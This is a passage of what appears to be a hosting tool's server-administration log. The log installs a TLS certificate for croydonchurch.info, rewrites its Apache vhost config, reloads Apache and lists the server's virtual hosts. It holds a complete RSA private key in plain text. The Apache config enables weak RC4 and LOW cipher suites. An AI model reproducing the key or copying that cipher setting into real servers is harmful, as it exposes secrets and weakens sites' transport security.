ydcuZ9CLTpIFOFqdmhncA5aADZfpq3FFa793LHVGiT/osN8B2FJ81/C0nmt5i6Ax
UpA+omMaOGnoMb2zItXrwH+Bq28qhJVLfDVMy/Yk5D0lS5t+vT2IiZ/y1iVy0rsw
nZacY6lhTswWK9IaHuyomDPzvKFKzcaDtwXgdcKzUhcfQGs1enSu+7tywTJ6CtUl
DrGKi/YaeJv7D9Hp/dQoddT3qtXHAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
hbNOKlEOb0jRKV15jLICg+AJxcUwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjcm95ZG9uY2h1cmNoLmluZm+CFnd3dy5j
cm95ZG9uY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMi5jcmwwggENBgorBgEE
AdZ5AgQCBIH+BIH7APkAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34
wwAAAZ0VBHiPAAAEAwBIMEYCIQDxD+Ra3lK6Z/qcJizkbAmV9fsdLNKkqGYxeRCj
ecbLwgIhALEPU901hGDDgJYpRHrdPT0H+3gRuoF/K3UFaaa0gXCaAH4AqCbL4wrG
NRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGdFQSDIQAIAAAFAAPja4MEAwBH
MEUCIQCmGByUx4zTQFgms/2CdYQNKFNC2etljjtxu76TNi/0yQIgSv6eqvAYVtrw
aMn8QXxLeGdUZ9f79ljohpLegBYeja4wDQYJKoZIhvcNAQELBQADggEBAHyZZMfi
ffaTsoFTnPvMmIPvTabPU9Q9vCzfx4HCGqa6BChWh/WYA3YBFXYYieuORgQwWjLr
IqirscpgRQhbO3j0pvOflhiRhuSDAPvY4Zwhpy31aMRQ4hZXIy+UZ59GWidkYe7c
kP//MbnS15JwjeOUhur9osbJP9/T7F3ESIenZCCFL08qTPVTMv1Wq2rFpf+GbwWB
fdRQkvp87ZZMZSsqvq1fMmNY8e0Je7G3wNchgrDXVdxjUOv0sKwhFTk6446QM8Kg
+vCHf9RzbhVdVxjaHA4NmRgHQF02k3Kom0OScnVJnXtHmUdeJgRY1/laRppLsUBv
G0jxFv7xusowbg4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCku4jnQ0X2w2mg
xGxwb+V+qwVU3thOKRNQVfwwmJnKnav4AeSENteeMfXmzcJ3XY6eMoF6TPRrcUGN
9rkdFimtSbdtOrs/J1oiSS/u1ia7HINOKqdUyH0ZJzqWydcuZ9CLTpIFOFqdmhnc
A5aADZfpq3FFa793LHVGiT/osN8B2FJ81/C0nmt5i6AxUpA+omMaOGnoMb2zItXr
wH+Bq28qhJVLfDVMy/Yk5D0lS5t+vT2IiZ/y1iVy0rswnZacY6lhTswWK9IaHuyo
mDPzvKFKzcaDtwXgdcKzUhcfQGs1enSu+7tywTJ6CtUlDrGKi/YaeJv7D9Hp/dQo
ddT3qtXHAgMBAAECggEAE0bStWU86axiTurNWbbuXw06OX0+SJ8r4Gm/chxZWslq
l0H5cLNONffYs6J+UCOFjeORHTOmInCFYExvywSN6fZHXaPSx4geVwbDcipjK+Ah
SWNaY2R2pxvdEkoaQRbq43JVSgEXMXwX7JQK538vuKtUPPBn3lU4gAGNlfgkkH2E
zA7LZOjUsvR7IA79tsJDCQfrUbzaWukzFB8PIcPfPOLwu/70hM4LIema4wHSlyY+
fFeHqQQ0/YOEHE6P1kIbvwR9pjXRD08QpDJHMgwiPlSOyW6PL8TvLlQTaWdw5+3D
gyDh9cCb/9qo9mGjrKDm1kdYlFRMtNfmdoqFG/bywQKBgQDTuMDSopmfQJBWltHH
4TL/Q8c/udXmne3e151cY1eWEBrn++bILYAg8GOXjJ/co9ww9JEprPSOHmPkJmUU
BCweQCnZagZWZLG+H0udQM93jcdrDUcw6qIPMcdQOG1eqiU3Mp5qlDA8s9u4FOwg
fTIqH9iUus1hOMQjmMoCet1tZwKBgQDHLw6foerXHKsac4sa5DqfC8lhI03ImnIn
NByekVvcA/D7wjmT2jY8wT8Gtw6zX3DvHcR0QHpX0JgLfNRDAnAGM5if7jm8kGcT
HyZaqzRSahzaLYVXkditOLqwBQGBVSINWpHSTN82t+iEvlTFHifX0sMMxQ3DeQZO
TkcwkqG4oQKBgQCfidCC6FOqVRRuqydY3rF2+LPjqT0tkkP0b7T8MT+GrIwZ0w+M
N/0c1Qe24xhzQmZh3WilZtbBYNUUznnMI3i7Ms5WLjaoUyg8g4iO7o9nH0btvAux
KJ0FphTythJ0CvIQLeyBkzjmBQHELL/hm3V5mJWzPTAV2pix2igexkakcQKBgGBe
aBjb4h9Jg488r+TG34Xr0fbpeczAzNIi6GXfti3wyjtEcU8TmII0jSXWk4o9dwp5
wH7uY0LxbV7BeoEhQMn/VKysOcr9oqEhxRDBHINzS5pTw9vmeIr2k3xuL5g/dEY5
t6uj/asft6Ph4mmseWJ2WmBnRo14lJB2VwMtLomBAoGBAIW/6xMdu8tFOuk9KF0f
8Pwxw/eMyG+4wRMEd+anQtwMVwYhBke4hh8Qcunk101r9LG41YUTvZUWgmA7xzhL
9qWlb8aeRwFoMqiTfkvMCa2M+A/nGeg03zqB9zMghg1JGTGxoRIvya/hQhBStPsu
AlzCjbZIjBT3dTIrtrg90EnB
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-22 10:08:31: 

chmod 755 /tmp/pkp244919; /tmp/pkp244919; rm /tmp/pkp244919

2026-03-22 10:08:31: 


dir=/etc/ssl/certs


2026-03-22 10:08:31: 

PUT: /tmp/pkp670650

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-22 10:08:31: 

chmod 755 /tmp/pkp670650; /tmp/pkp670650; rm /tmp/pkp670650

2026-03-22 10:08:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-22 10:08:31: 

PUT: /tmp/pkp121274

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi


2026-03-22 10:08:31: 

chmod 755 /tmp/pkp121274; /tmp/pkp121274; rm /tmp/pkp121274

2026-03-22 10:08:31: 




2026-03-22 10:08:31: 

PUT: /tmp/pkp225153

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-22 10:08:31: 

chmod 755 /tmp/pkp225153; /tmp/pkp225153; rm /tmp/pkp225153

2026-03-22 10:08:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-22 10:08:31: Establishing a connection
2026-03-22 10:08:31: 

PUT: /tmp/pkp270726

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-22 10:08:32: 

chmod 755 /tmp/pkp270726; /tmp/pkp270726; rm /tmp/pkp270726

2026-03-22 10:08:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-22 10:08:32: 

PUT: /tmp/pkp374958

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-22 10:08:32: 

chmod 755 /tmp/pkp374958; /tmp/pkp374958; rm /tmp/pkp374958

2026-03-22 10:08:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-22 10:08:32: 

PUT: /tmp/pkp140392

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-22 10:08:32: 

chmod 755 /tmp/pkp140392; /tmp/pkp140392; rm /tmp/pkp140392

2026-03-22 10:08:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt	5389
8b:28:5f:9e:51:e7:53:a3:7f:13:30:95:62:f8:cc:08

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBcUkWKNGfRM1572K8qkogLeVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIyMDkwOTU3WhcNMjYwNjIwMDkwOTU2WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCku4jnQ0X2w2mgxGxwb+V+qwVU3thOKRNQVfwwmJnKnav4AeSENteeMfXm
zcJ3XY6eMoF6TPRrcUGN9rkdFimtSbdtOrs/J1oiSS/u1ia7HINOKqdUyH0ZJzqW
ydcuZ9CLTpIFOFqdmhncA5aADZfpq3FFa793LHVGiT/osN8B2FJ81/C0nmt5i6Ax
UpA+omMaOGnoMb2zItXrwH+Bq28qhJVLfDVMy/Yk5D0lS5t+vT2IiZ/y1iVy0rsw
nZacY6lhTswWK9IaHuyomDPzvKFKzcaDtwXgdcKzUhcfQGs1enSu+7tywTJ6CtUl
DrGKi/YaeJv7D9Hp/dQoddT3qtXHAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
hbNOKlEOb0jRKV15jLICg+AJxcUwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjcm95ZG9uY2h1cmNoLmluZm+CFnd3dy5j
cm95ZG9uY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMi5jcmwwggENBgorBgEE
AdZ5AgQCBIH+BIH7APkAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34
wwAAAZ0VBHiPAAAEAwBIMEYCIQDxD+Ra3lK6Z/qcJizkbAmV9fsdLNKkqGYxeRCj
ecbLwgIhALEPU901hGDDgJYpRHrdPT0H+3gRuoF/K3UFaaa0gXCaAH4AqCbL4wrG
NRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGdFQSDIQAIAAAFAAPja4MEAwBH
MEUCIQCmGByUx4zTQFgms/2CdYQNKFNC2etljjtxu76TNi/0yQIgSv6eqvAYVtrw
aMn8QXxLeGdUZ9f79ljohpLegBYeja4wDQYJKoZIhvcNAQELBQADggEBAHyZZMfi
ffaTsoFTnPvMmIPvTabPU9Q9vCzfx4HCGqa6BChWh/WYA3YBFXYYieuORgQwWjLr
IqirscpgRQhbO3j0pvOflhiRhuSDAPvY4Zwhpy31aMRQ4hZXIy+UZ59GWidkYe7c
kP//MbnS15JwjeOUhur9osbJP9/T7F3ESIenZCCFL08qTPVTMv1Wq2rFpf+GbwWB
